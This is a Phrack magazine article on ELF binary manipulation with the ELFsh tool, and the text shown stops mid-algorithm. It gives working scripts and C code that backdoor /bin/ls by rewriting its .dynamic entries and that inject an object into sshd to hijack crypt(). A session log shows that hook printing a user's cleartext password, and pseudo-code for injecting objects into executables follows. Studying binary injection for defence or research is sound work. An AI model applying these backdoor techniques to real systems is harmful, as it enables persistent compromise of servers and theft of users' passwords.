==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f
|=---------- .:: Devhell Labs and Phrack Magazine present ::. ----------=|
|=----------------------------------------------------------------------=|
|=------------------=[ The Cerberus ELF Interface ]=------------------=|
|=----------------------------------------------------------------------=|
|=------------------=[ mayhem <
[email protected]> ]=------------------=|
1. Introduction
2. Quick and usable backdoor in 4 bytes
a/ The .dynamic section
b/ DT_NEEDED and DT_DEBUG entries
c/ Performing function hijacking
d/ Example 1: ls and opendir()
3. Residency : ET_REL injection into ET_EXEC
a/ Section injection : pre-interp vs post-bss
b/ Multiple BSS merging
c/ Symbol tables merging
d/ Mixing (a,b,c) for injecting a module into an executable
e/ Example 2: sshd and crypt()
f/ Multi-architecture algorithms
g/ ELFsh 0.51b relocation engine implementation details
4. Infection : ALTPLT technique
a/ Foundations of ALTPLT
b/ ALTPLT on SPARC
c/ Example 3: md5sum and fopen64()
d/ Multi-architecture algorithm
e/ Improvement suggestions for the redir command
5. The end ?
6. Greets
7. References
-------[ 1. Introduction
This article introduces three new generic techniques in ELF
(Executable and Linking Format) objects manipulation. The first
presented one is designed to be simple and quickly implemented,
others are more complex and allow advanced software extension
without having the source tree. These techniques can be used for
a wide panel of requirements such as closed-source software
debugging, software extension, backdooring, virii writing,
intrusion detection and intrusion prevention.
The examples will make use of the ELF shell [1], a freely
available scripting language to modify ELF binaries. It works
on two architectures (INTEL and SPARC) and four operating
systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the
techniques work even if the target machine is installed with
address space randomization and execution restriction, such as
PaX [2] protected boxes, since all the code injection is done
in the allowed areas.
ELF basics -will not- be explained, if you have troubles
understanding the article, please read the ELF TIS [3] reference
before requesting extra details ;). You can also try another
resource [4] which is a good introduction to the ELF format,
from the virus writing perspective.
In the first part of the paper, an easy and pragmatic technique
for backdooring an executable will be described, just by
changing 4 bytes. It consists of corrupting the .dynamic section
of the binary (2) and erase some entries (DT_DEBUG) for adding
others (DT_NEEDED), plus swapping existing DT_NEEDED entries to
give priority to certain symbols, all of this without changing
the file size.
The second part describes a complex residency technique, which
consists of adding a module (relocatable object ET_REL, e.g. a
.o file) into an executable file (ET_EXEC) as if the binary was
not linked yet. This technique is provided for INTEL and SPARC
architectures : compiled C code can thus be added permanently
to any ELF32 executable.
Finally, a new infection technique called ALTPLT (4) will be
explained. This feature is an extension of PLT infection [5]
and works in correlation with the ET_REL injection. It consists
of duplicating the Procedure Linkage Table and inject symbols
onto each entry of the alternate PLT. The advantages of this
technique are the relative portability (relative because we will
see that minor architecture dependant fixes are necessary), its
PaX safe bevahior as well, and the ability to call the original
function from the hook function without having to perform
painful tasks like runtime byte restoration.
Example ELFsh scripts are provided for all the explained
techniques. However, no ready-to-use backdoors will be included
(do you own!). For peoples who did not want to see these
techniques published, I would just argue that all of
them have been available for a couple of months for those
who wanted, and new techniques are already in progress. These
ideas were born from a good exploitation of the information
provided in the ELF reference and nothing was ripped to anyone.
I am not aware of any implementation providing these features,
but if you feel injuried, you can send flame emails and my
bot^H^H^H^H^H^H I will kindly answer all of them.
-------[ 2. Quick and usable backdoor in 4 bytes
Every dynamic executable file contains a .dynamic section. This
zone is useful for the runtime linker in order to access crucial
information at runtime without requiring a section header table
(SHT), since the .dynamic section data matches the bounds of
the PT_DYNAMIC segment entry of the Program Header Table (PHT).
Useful information includes the address and size of relocation
tables, the addresses of initialization and destruction routines,
the addresses of version tables, pathes for needed libraries, and
so on. Each entry of .dynamic looks like this, as shown in elf.h :
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is
the related value. Let's use the elfsh '-d' option to print the
dynamic section:
-----BEGIN EXAMPLE 1-----
$ elfsh -f /bin/ls -d
[*] Object /bin/ls has been loaded (O_RDONLY)
[SHT_DYNAMIC]
[Object /bin/ls]
[00] Name of needed library => librt.so.1 {DT_NEEDED}
[01] Name of needed library => libc.so.6 {DT_NEEDED}
[02] Address of init function => 0x08048F88 {DT_INIT}
[03] Address of fini function => 0x0804F45C {DT_FINI}
[04] Address of symbol hash table => 0x08048128 {DT_HASH}
[05] Address of dynamic string table => 0x08048890 {DT_STRTAB}
[06] Address of dynamic symbol table => 0x08048380 {DT_SYMTAB}
[07] Size of string table => 821 bytes {DT_STRSZ}
[08] Size of symbol table entry => 16 bytes {DT_SYMENT}
[09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG}
[10] Processor defined value => 0x0805348C {DT_PLTGOT}
[11] Size in bytes for .rel.plt => 560 bytes {DT_PLTRELSZ}
[12] Type of reloc in PLT => 17 {DT_PLTREL}
[13] Address of .rel.plt => 0x08048D58 {DT_JMPREL}
[14] Address of .rel.got section => 0x08048D20 {DT_REL}
[15] Total size of .rel section => 56 bytes {DT_RELSZ}
[16] Size of a REL entry => 8 bytes {DT_RELENT}
[17] SUN needed version table => 0x08048CA0 {DT_VERNEED}
[18] SUN needed version number => 2 {DT_VERNEEDNUM}
[19] GNU version VERSYM => 0x08048BFC {DT_VERSYM}
[*] Object /bin/ls unloaded
$
-----END EXAMPLE 1-----
The careful reader would have noticed a strange entry of type
DT_DEBUG. This entry is used in the runtime linker to retrieve
debugging information, it is present in all GNU tools generated
binaries but it is not mandatory. The idea is to erase it using
a forged DT_NEEDED, so that an extra library dependance is added
to the executable.
The d_val field of a DT_NEEDED entry contains a relative offset
from the beginning of the .dynstr section, where we can find the
library path for this entry. What happens if we want to avoid
injecting an extra library path string into the .dynstr
section ?
-----BEGIN EXAMPLE 2-----
$ elfsh -f /bin/ls -X dynstr | grep so
.dynstr + 16 6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock
.dynstr + 48 696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so.
.dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp
.dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso
$
-----END EXAMPLE 2-----
We just have to choose an existing library path string, but
avoid starting at the beginning ;). The ELF reference specifies
clearly that a same string in .dynstr can be used by multiple
entries at a time:
-----BEGIN EXAMPLE 3-----
$ cat > /tmp/newlib.c
function()
{
printf("my own fonction \n");
}
$ gcc -shared /tmp/newlib.c -o /lib/rt.so.1
$ elfsh
Welcome to The ELF shell 0.5b9 .::.
.::. This software is under the General Public License
.::. Please visit
http://www.gnu.org to know about Free Software
[ELFsh-0.5b9]$ load /bin/ls
[*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003
[ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG
[SHT_DYNAMIC]
[Object /bin/ls]
[00] Name of needed library => librt.so.1 {DT_NEEDED}
[01] Name of needed library => libc.so.6 {DT_NEEDED}
[09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG}
[ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED
[*] Field set succesfully
[ELFsh-0.5b9]$ set 1.dynamic[9].val 19 # see .dynstr + 19
[*] Field set succesfully
[ELFsh-0.5b9]$ save /tmp/ls.new
[*] Object /tmp/ls.new saved successfully
[ELFsh-0.5b9]$ quit
[*] Unloading object 1 (/bin/ls) *
Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 3-----
Lets verify our changes:
-----BEGIN EXAMPLE 4-----
$ elfsh -f ls.new -d DT_NEEDED
[*] Object ls.new has been loaded (O_RDONLY)
[SHT_DYNAMIC]
[Object ls.new]
[00] Name of needed library => librt.so.1 {DT_NEEDED}
[01] Name of needed library => libc.so.6 {DT_NEEDED}
[09] Name of needed library => rt.so.1 {DT_NEEDED}
[*] Object ls.new unloaded
$ ldconfig # refresh /etc/ld.so.cache
$
-----END EXAMPLE 4-----
This method is not extremely stealth because a simple command can
list all the library dependances for a given binary:
$ ldd /tmp/ls.new
librt.so.1 => /lib/librt.so.1 (0x40021000)
libc.so.6 => /lib/libc.so.6 (0x40033000)
rt.so.1 => /lib/rt.so.1 (0x40144000)
libpthread.so.0 => /lib/libpthread.so.0 (0x40146000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
$
Is the executable still working?
$ ./ls.new
AcroOlAAFj ELFSH_DEBUG ls.new newlib.c
$
OK, so we found a good way to inject as much code as we want in
a process, by adding a library dependance to the main object, the
executable object. Now what if we want to hijack functions with
such an easy technique? We can force some symbols to get resolved
in priority over other symbols : when the runtime relocation is
done (when the .got section is patched), the runtime linker will
iterate on the link_map [6] [7] [8] list, find the first matching
symbol, and fill the Global Offset Table related entry (or the
Procedure Linkage Table entry if we are on SPARC) with the
absolute runtime address where the function is mapped. A simple
technique consists of swapping DT_NEEDED entries and make our own
library to be present before other libraries in the link_map
double linked list, and symbols to be resolved before the
original symbols. In order to call the original function from
the hook function, we will have to use dlopen(3) and dlsym(3) so
that we can resolve a symbol for a given object.
Lets take the same code, and this time, write a script which can
hijack opendir(3) to our own function(), and then call the
original opendir(), so that the binary can be run normally:
-----BEGIN EXAMPLE 5-----
$ cat dlhijack.esh
#!/usr/bin/elfsh
load /bin/ls
# Move DT_DEBUG into DT_NEEDED
set 1.dynamic[9].tag DT_NEEDED
# Put the former DT_DEBUG entry value to the first DT_NEEDED value
set 1.dynamic[9].val 1.dynamic[0].val
# Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1
add 1.dynamic[0].val 3
save ls.new
quit
$
-----END EXAMPLE 5-----
Now let's write the opendir hook code:
-----BEGIN EXAMPLE 6-----
$ cat myopendir.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <dirent.h>
#include <dlfcn.h>
#define LIBC_PATH "/lib/libc.so.6"
DIR *opendir(const char *name)
{
void *handle;
void *(*sym)(const char *name);
handle = dlopen(LIBC_PATH, RTLD_LAZY);
sym = (void *) dlsym(handle, "opendir");
printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n",
sym, name);
return (sym(name));
}
$ gcc -shared myopendir.c -o rt.so.1 -ldl
$
-----END EXAMPLE 6-----
Now we can modify the binary using our 4 lines script:
-----BEGIN EXAMPLE 7-----
$ ./dlhijack.esh
Welcome to The ELF shell 0.5b9 .::.
.::. This software is under the General Public License
.::. Please visit
http://www.gnu.org to know about Free Software
~load /bin/ls
[*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003
~set 1.dynamic[9].tag DT_NEEDED
[*] Field set succesfully
~set 1.dynamic[9].val 1.dynamic[0].val
[*] Field set succesfully
~add 1.dynamic[0].val 3
[*] Field modified succesfully
~save ls.new
[*] Object ls.new save successfully
~quit
[*] Unloading object 1 (/bin/ls) *
Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 7-----
Let's see the results for the original ls, and then for the
modified ls:
$ ldd ls.new
rt.so.1 => /lib/rt.so.1 (0x40021000)
libc.so.6 => /lib/libc.so.6 (0x40023000)
librt.so.1 => /lib/librt.so.1 (0x40134000)
libdl.so.2 => /lib/libdl.so.2 (0x40146000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000)
$ ls
c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \
myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1
$ ./ls.new
OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = .
c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \
myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1
$
Nice. Note that the current implementation of this technique in
ELFsh changes the size of the binary because it injects
automatically some symbols for binary sanity. If you want to keep
the same size, you have to comment the calls to elfsh_fixup_symtab
in the ELFsh source code ;) . This stuff is known to be used
in the wild.
The dynamic version of this technique has been proposed in [9],
where the author describes how to call dlopen() in a subversive
way, so that the process get runtime linked with an extra library.
In practice, both implementations have nothing in common, but it
is worth mentionning.
-------[ 3. Residency : ET_REL injection into ET_EXEC
This second technique allows to perform relinking of the ELF
ET_EXEC binary file and adding a relocatable object (ET_REL
file aka .o file) into the program address space. This is very
useful since it is a powerful method to inject as much data and
code as needed in a file using a 5 lines script.
Such relocation based backdoors have been developped in the
past for static kernel patching [10] (ET_REL into vmlinuz) and
direct LKM loading in kernel memory (ET_REL into kmem) [11] .
However, this ET_REL injection into ET_EXEC implementation is in
my sense particulary interresting since it has been implemented
considering a larger scope of target architectures and for
protected environments.
Because ELFsh is also used for things other than backdooring,
the SHT and the symbol table are kept synchronized when we
insert our stuff into the binary, so that symbol resolving can
be provided even in the injected code.
Since the backdoor needs to stay valid on a PaX protected box,
we use 2 different injection techniques (one for the code
sections, the other for the data sections) called section
pre-interp injection (because we insert the new section before
the .interp section) and section post-bss injection (because we
insert the new section after the .bss section).
For this second injection type, .bss data physical insertion
into the file is necessary, since .bss is the non-initialized
data section, it is only referenced by the SHT and PHT, but it
is not present in the file.
Also, note that section pre-interp injection is not possible
with the current FreeBSD dynamic linker (some assert() kills the
modified binary), so all sections are injected using a post-bss
insertion on this OS. This is not an issue since FreeBSD does not
come with non-executable protection for datapages. If such a
protection comes in the future, we would have to modify the
dynamic linker itself before being able to run the modified
binary, or make the code segment writable in sh_flags.
Let's look at the binary layout (example is sshd, it is the same
for all the binaries) :
-----BEGIN EXAMPLE 8-----
$ elfsh -f /usr/sbin/sshd -q -s -p
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object /usr/sbin/sshd]
[000] (nil) ------- foff:00000000 sz:00000000 link:00
[001] 0x80480f4 a------ .interp foff:00000244 sz:00000019 link:00
[002] 0x8048108 a------ .note.ABI-tag foff:00000264 sz:00000032 link:00
[003] 0x8048128 a------ .hash foff:00000296 sz:00001784 link:04
[004] 0x8048820 a------ .dynsym foff:00002080 sz:00003952 link:05
[005] 0x8049790 a------ .dynstr foff:00006032 sz:00002605 link:00
[006] 0x804a1be a------ .gnu.version foff:00008638 sz:00000494 link:04
[007] 0x804a3ac a------ .gnu.version_r foff:00009132 sz:00000096 link:05
[008] 0x804a40c a------ .rel.got foff:00009228 sz:00000008 link:04
[009] 0x804a414 a------ .rel.bss foff:00009236 sz:00000056 link:04
[010] 0x804a44c a------ .rel.plt foff:00009292 sz:00001768 link:04
[011] 0x804ab34 a-x---- .init foff:00011060 sz:00000037 link:00
[012] 0x804ab5c a-x---- .plt foff:00011100 sz:00003552 link:00
[013] 0x804b940 a-x---- .text foff:00014656 sz:00145276 link:00
[014] 0x806f0bc a-x---- .fini foff:00159932 sz:00000028 link:00
[015] 0x806f0e0 a------ .rodata foff:00159968 sz:00068256 link:00
[016] 0x8080b80 aw----- .data foff:00228224 sz:00003048 link:00
[017] 0x8081768 aw----- .eh_frame foff:00231272 sz:00000004 link:00
[018] 0x808176c aw----- .ctors foff:00231276 sz:00000008 link:00
[019] 0x8081774 aw----- .dtors foff:00231284 sz:00000008 link:00
[020] 0x808177c aw----- .got foff:00231292 sz:00000900 link:00
[021] 0x8081b00 aw----- .dynamic foff:00232192 sz:00000200 link:05
[022] 0x8081bc8 -w----- .sbss foff:00232416 sz:00000000 link:00
[023] 0x8081be0 aw----- .bss foff:00232416 sz:00025140 link:00
[024] (nil) ------- .comment foff:00232416 sz:00002812 link:00
[025] (nil) ------- .note foff:00235228 sz:00001480 link:00
[026] (nil) ------- .shstrtab foff:00236708 sz:00000243 link:00
[027] (nil) ------- .symtab foff:00236951 sz:00000400 link:00
[028] (nil) ------- .strtab foff:00237351 sz:00000202 link:00
[Program header table .::. PHT]
[Object /usr/sbin/sshd]
[0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019)
[2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224)
[3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032)
[Program header table .::. SHT correlation]
[Object /usr/sbin/sshd]
[*] SHT is not stripped
[00] PT_PHDR
[01] PT_INTERP .interp
[02] PT_LOAD .interp .note.ABI-tag .hash .dynsym .dynstr \
.gnu.version .gnu.version_r .rel.got .rel.bss \
.rel.plt .init .plt .text .fini .rodata
[03] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic
[04] PT_DYNAMIC .dynamic
[05] PT_NOTE .note.ABI-tag
$
-----END EXAMPLE 8-----
We have here two loadable segments, one is executable (matches the
code segment) and the other is writable (matches the data
segment).
What we have to do is to inject all non-writable sections before
.interp (thus in the code segment), and all other section's after
.bss in the data segment. Let's code a handler for crypt() which
prints the clear password and exit. In this first example, we
will use GOT redirection [12] and hijack crypt() which stays in
the libc:
-----BEGIN EXAMPLE 9-----
$ cat mycrypt.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int glvar = 42;
int bssvar;
char *mycrypt(const char *key, const char *salt)
{
bssvar = 2;
printf(".:: crypt redirected -key- = %s (%u .::. %u) \n",
key, glvar, bssvar);
exit(0);
}
$ gcc -c mycrypt.c
$
-----END EXAMPLE 9-----
Using the 'reladd' command, we will inject mycrypt.o into sshd:
-----BEGIN EXAMPLE 10-----
$ cat etreladd.esh
#!/usr/bin/elfsh
load /usr/sbin/sshd
load mycrypt.o
# Inject mycrypt.o into sshd
reladd 1 2
# Modify crypt() got entry and make it point on mycrypt() which resides
# into mycrypt.o
set 1.got[crypt] mycrypt
save sshd.new
quit
$ ./etreladd.esh
Welcome to The ELF shell 0.5b9 .::.
.::. This software is under the General Public License
.::. Please visit
http://www.gnu.org to know about Free Software
~load /usr/sbin/sshd
[*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003
~load mycrypt.o
[*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003
~reladd 1 2
[*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd
~set 1.got[crypt] mycrypt
[*] Field set succesfully
~save sshd.new
[*] Object sshd.new save successfully
~quit
[*] Unloading object 1 (mycrypt.o)
[*] Unloading object 2 (/usr/sbin/sshd) *
Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 10-----
Our script rocked. As I said, the symbol tables and the .bss from
the module have been fused with those from the executable file
and the SHT has been kept synchronized, so that resolving is also
possible in the injected code:
-----BEGIN EXAMPLE 11-----
$ elfsh -f sshd.new -q -s -p
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object sshd.new]
[00] (nil) ------- foff:00000000 sz:00000000 link:00
[01] 0x80450f4 a-x---- .orig.plt foff:00000244 sz:00004096 link:00
[02] 0x80460f4 a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00
[03] 0x80470f4 a-x---- mycrypt.o.text foff:00008436 sz:00004096 link:00
[04] 0x80480f4 a------ .interp foff:00012532 sz:00000019 link:00
[05] 0x8048108 a------ .note.ABI-tag foff:00012552 sz:00000032 link:00
[06] 0x8048128 a------ .hash foff:00012584 sz:00001784 link:07
[07] 0x8048820 a------ .dynsym foff:00014368 sz:00003952 link:08
[08] 0x8049790 a------ .dynstr foff:00018320 sz:00002605 link:00
[09] 0x804a1be a------ .gnu.version foff:00020926 sz:00000494 link:07
[10] 0x804a3ac a------ .gnu.version_r foff:00021420 sz:00000096 link:08
[11] 0x804a40c a------ .rel.got foff:00021516 sz:00000008 link:07
[12] 0x804a414 a------ .rel.bss foff:00021524 sz:00000056 link:07
[13] 0x804a44c a------ .rel.plt foff:00021580 sz:00001768 link:07
[14] 0x804ab34 a-x---- .init foff:00023348 sz:00000037 link:00
[15] 0x804ab5c a-x---- .plt foff:00023388 sz:00003552 link:00
[16] 0x804b940 a-x---- .text foff:00026944 sz:00145276 link:00
[17] 0x806f0bc a-x---- .fini foff:00172220 sz:00000028 link:00
[18] 0x806f0e0 a------ .rodata foff:00172256 sz:00068256 link:00
[19] 0x8080b80 aw----- .data foff:00240512 sz:00003048 link:00
[20] 0x8081768 aw----- .eh_frame foff:00243560 sz:00000004 link:00
[21] 0x808176c aw----- .ctors foff:00243564 sz:00000008 link:00
[22] 0x8081774 aw----- .dtors foff:00243572 sz:00000008 link:00
[23] 0x808177c aw----- .got foff:00243580 sz:00000900 link:00
[24] 0x8081b00 aw----- .dynamic foff:00244480 sz:00000200 link:08
[25] 0x8081bc8 -w----- .sbss foff:00244704 sz:00000000 link:00
[26] 0x8081be0 aw----- .bss foff:00244704 sz:00025144 link:00
[27] 0x8087e18 aw----- mycrypt.o.data foff:00269848 sz:00000004 link:00
[28] (nil) ------- .comment foff:00269852 sz:00002812 link:00
[29] (nil) ------- .note foff:00272664 sz:00001480 link:00
[30] (nil) ------- .shstrtab foff:00274144 sz:00000300 link:00
[31] (nil) ------- .symtab foff:00274444 sz:00004064 link:00
[32] (nil) ------- .strtab foff:00278508 sz:00003423 link:00
[Program header table .::. PHT]
[Object sshd.new]
[0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019)
[2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512)
[3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032)
[Program header table .::. SHT correlation]
[Object sshd.new]
[*] SHT is not stripped
[0] PT_PHDR
[1] PT_INTERP .interp
[2] PT_LOAD .orig.plt mycrypt.o.rodata mycrypt.o.text .interp
.note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rel.got .rel.bss .rel.plt .init
.plt .text .fini .rodata
[3] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic .sbss
.bss mycrypt.o.data
[4] PT_DYNAMIC .dynamic
[5] PT_NOTE .note.ABI-tag
$
-----END EXAMPLE 11-----
The new sections can be easily spotted in the new SHT, since
their name starts with the module name (mycrypt.o.*). Please
elude the .orig.plt presence for the moment. This section
is injected at ET_REL insertion time, but it is not used in
this example and it will be explained as a stand-alone technique
in the next chapter.
We can see that the new BSS size is 4 bytes bigger than the
original one. It is because the module BSS was only filled with
one variable (bssvar), which was a 4 bytes sized integer since
this specific example was done on a 32 bits architecture. The
difficulty of this operation is to find the ET_REL object BSS
section size, because it is set to 0 in the SHT. For this
operation, we need to care about variable address alignement
using the st_value field from each SHN_COMMON symbols of the
ET_REL object, as specified by the ELF reference. Details for
this algorithm are given later in the article.
It works on Solaris as well, even if ET_REL files generated by
Solaris-ELF ld have no .bss section entry in the SHT. The 0.51b2
implementation has one more limitation on Solaris, which
is a 'Malloc problem' happening at the first malloc() call when
using a section post-bss injection. You dont have to use this kind
of section injection ; ET_REL injection works well on Solaris if
you do not use initialized global variables. This problem has been
solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols
so that they still points on the beginning of the heap (e.g. at
the end of the last post-bss mapped section, or at the end of the
bss, if there is no post-bss mapped section).
Also, the .shstrtab, .symtab, and .strtab sections have been
extended, and now contain extra symbol names, extra section names,
and extra symbols copied from the ET_REL object.
You can note that pre-interp injected sections base address is
congruent getpagesize(), so that the executable segment always
starts at the beginning of a page, as requested by the ELF
reference. ELFsh could save some place here, instead of allocating
the size of a page each time a section is injected, but that would
complexify the algorithm a bit, so the congruence is kept for
each inserted section.
The implementation has the cool advantage of -NOT- having to move
the original executable address space, so that no relocation of
the original code is needed. In other words, only the .o object
sections are relocated and we can be sure that no false positive
relocation is possible (e.g. we -DO NOT- have to find all
references in the sshd code and patch them because the address
space changed).
This is the injected code section's assembly dump, which contains
the mycrypt function:
-----BEGIN EXAMPLE 12-----
$ elfsh -f sshd.new -q -D mycrypt.o.text
080470F4 mycrypt.o.text + 0 push %ebp
080470F5 mycrypt.o.text + 1 mov %esp,%ebp
080470F7 mycrypt.o.text + 3 sub $8,%esp
080470FA mycrypt.o.text + 6 mov $2,<bssvar>
08047104 mycrypt.o.text + 16 mov <bssvar>,%eax
08047109 mycrypt.o.text + 21 push %eax
0804710A mycrypt.o.text + 22 mov <glvar>,%eax
0804710F mycrypt.o.text + 27 push %eax
08047110 mycrypt.o.text + 28 mov 8(%ebp),%eax
08047113 mycrypt.o.text + 31 push %eax
08047114 mycrypt.o.text + 32 push $<mycrypt.o.rodata>
08047119 mycrypt.o.text + 37 call <printf>
0804711E mycrypt.o.text + 42 add $10,%esp
08047121 mycrypt.o.text + 45 add $0xFFFFFFF4,%esp
08047124 mycrypt.o.text + 48 push $0
08047126 mycrypt.o.text + 50 call <exit>
0804712B mycrypt.o.text + 55 add $10,%esp
0804712E mycrypt.o.text + 58 lea 0(%esi),%esi
08047134 mycrypt.o.text + 64 leave
08047135 mycrypt.o.text + 65 ret
-----END EXAMPLE 12-----
Lets test our new sshd:
$ ssh mayhem@localhost
Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type <ENTER>
mayhem@localhost's password: <--- type your passwd
Connection closed by 127.0.0.1
$
Let's verify on the server side what happened:
$ ./sshd.new -d
debug1: Seeding random number generator
debug1: sshd version OpenSSH_3.0.2p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 40619
debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1
debug1: match: OpenSSH_3.5p1 pat ^OpenSSH
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1
debug1: Rhosts Authentication disabled, originating port 40619 not trusted
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 127/256
debug1: bits set: 1597/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1613/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user mayhem service ssh-connection method \
none
debug1: attempt 0 failures 0
Failed none for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
publickey
debug1: attempt 1 failures 1
debug1: test whether pkalg/pkblob are acceptable
debug1: temporarily_use_uid: 1000/31337 (e=0)
debug1: trying public key file /home/mayhem/.ssh/authorized_keys
debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1
debug1: restore_uid
Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
keyboard-interactive
debug1: attempt 2 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=mayhem devs=
debug1: kbdint_alloc: devices ''
Failed keyboard-interactive for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
password
debug1: attempt 3 failures 2
:: crypt redirected -key- = mytestpasswd (42 .::. 2)
$
Fine. If you want extreme details on the implementation, please
read the ELFsh code, particulary libelfsh/relinject.c. For the
academic audience, the pseudo-code algorithms are provided.
Because ET_REL injection is based on BSS and Symbol table fusion,
section pre-interp injection, section post-bss injection,
SHT shifting, SHT entry insertion, symbol injection, and section
data injection, all those algorithms are also available. The BSS
physical insertion is performed only once, at the first use of
post-bss injection. The general algorithm for ET_REL injection is
as follow:
1/ Fuse ET_REL and ET_EXEC .bss sections
2/ Find and inject ET_REL allocatable sections into ET_EXEC
3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols)
4/ Relocate each injected section if its .rel(a) table is available
Now let's give some details ;)
--------[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.
1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)
2/ FOREACH section in ET_REL object
[
IF section is a/ allocatable (sh_flags & SHF_ALLOC)
b/ non-null sized (sh_size != 0)
c/ data-typed (sh_type == SHT_PROGBITS)
[
IF section is writable -or- OS is FreeBSD
[
- Inject post-bss section into ET_EXEC
]
ELSE
[
- Inject pre-interp section into ET_EXEC
]
]
]
3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)
4/ FOREACH section in ET_REL object
[
IF a/ section has been injected in 2. (same conditions)
b/ section needs relocation (.rel.sctname is found in ET_REL)
[
- Relocate the section
]
]
--------[ BSS fusion algorithm
- Insert ET_EXEC BSS physically if not already done (see next algo)
FOREACH symbol from the ET_REL object
[
IF symbol points into the BSS (st_shndx & SHN_COMMON)
[
WHILE ET_EXEC .bss size is not aligned (sh_size % st_value)
[
- Increment by 1 the .bss size field (sh_size)
]
- Insert symbol w/ st_value = .bss sh_addr + .bss sh_size
- Add symbol size to ET_EXEC .bss size (sh_size)
]
]
---------[ BSS physical insertion algorithm
FOREACH PHT entry
[
IF a/ segment is loadable (p_type == PT_LOAD)
